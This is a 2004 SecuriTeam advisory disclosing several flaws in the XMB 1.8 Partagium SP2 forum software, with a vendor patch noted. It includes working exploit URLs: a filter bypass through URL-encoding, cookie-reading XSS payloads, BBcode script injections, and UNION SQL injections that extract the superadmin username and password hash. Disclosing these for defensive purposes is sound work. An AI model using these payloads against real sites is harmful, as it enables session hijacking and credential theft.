[UNIX] Multiple Vulnerabilities in XMB Partagium

From: SecuriTeam (support_at_securiteam.com)
Date: 02/26/04

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    Date: 26 Feb 2004 11:39:34 +0200
    
    

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      Multiple Vulnerabilities in XMB Partagium
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.xmbforum.com/home/> Extreme Messageboard aka XMB is "a very
    popular and feature rich forum, based on PHP and MySQL". Multiple
    vulnerabilities in the product have been found, they allow attackers to
    cause SQL Injection vulnerabilities and Cross Site Scripting issues.

    DETAILS

    Vulnerable Systems:
     * XMB version 1.8 Partagium Final SP2

    Immune Systems:
     * XMB version 1.8 Partagium Final SP3

    Security Filter Bypassing:
    The security filter in header.php line 110 can be bypassed, if we
    partially or fully urlencode the critical parts in URI. Thanks to this
    vulnerability possible XSS holes can be easily exploited by GET request.

    Original code:
    // Checks for various variables in the URL, if any of them is found,
    script is halted
            $url2 = str_replace("subscriptions","",$url);
            $url_check = Array('status', 'xmbuser',
    'xmbpw','script','javascript');
            foreach ($url_check as $name) {
                    if (eregi($name, $url2)){
                            exit();
                    }
            }

    Example:
    http://localhost/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript>

    Multiple XSS:
    As a result of the above security filter bypassing the following cross
    site scripting vulnerabilities exist:

    Exploit:
    http://localhost/xmb18sp2/member.php?action=viewpro&member=x
    <%73cript>alert(document.cookie);</%73cript>
    http://localhost/xmb18sp2/u2uadmin.php?uid=x
    "><%73cript>alert(document.cookie);</%73cript>
    http://localhost/xmb18sp2/editprofile.php?user=x
    "><%73cript>alert(document.cookie);</%73cript>

    BBcode "[align=xxx][/align]" script injection vulnerability:
    Exploit:
    text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]

    This can be used everywhere, where bbcode is allowed - in profile's
    signature, u2u and in forum threads. Scripting will be triggered on
    mouseover event and will work with most browsers.

    BBcode "[img=1x1][/img]" script injection vulnerability:
    Exploit:
    text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2

    Ending "//gif" is needed for successful exploit, because bbcode
    implementation will check for it.

    This can be used everywhere, where bbcode is allowed - in profile's
    signature, u2u and in forum threads. Scripting will be triggered
    automatically, but exploit will work only with Microsoft Internet
    Explorer.

    NOTE: The following SQL injections only injection after the "ORDER BY"
    keywords in SQL query, therefore UNION method will not work, making the
    only viable thing to do with the vulnerability is an XSS attack.

    XSS due to SQL Injections:
    Exploits:
    http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x
    <%73cript>alert(document.cookie);</%73cript>
    http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x
    <%73cript>alert(document.cookie);</%73cript>
    http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x
    <%73cript>alert(document.cookie);</%73cript>
    http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x
    <%73cript>alert(document.cookie);</%73cript>

    SQL Injection:
    The following SQL injection allows retrieving the username of the
    superadmin:

    Exploit:
    http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION
    ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1 LIMIT 1/*

    The following SQL injection allows retrieving the password's md5 hash for
    superadmin:

    Exploit:
    http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION
    ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1 LIMIT 1/*

    Vendor status:
    The vendor has issued a patch, see
    <http://www.xmbforum.com/community/boards/viewthread.php?tid=746859>
    http://www.xmbforum.com/community/boards/viewthread.php?tid=746859.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:come2waraxe@yahoo.com> Janek
    Vind.

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  • Next message: SecuriTeam: "[UNIX] Confirm Command Execution Vulnerability"

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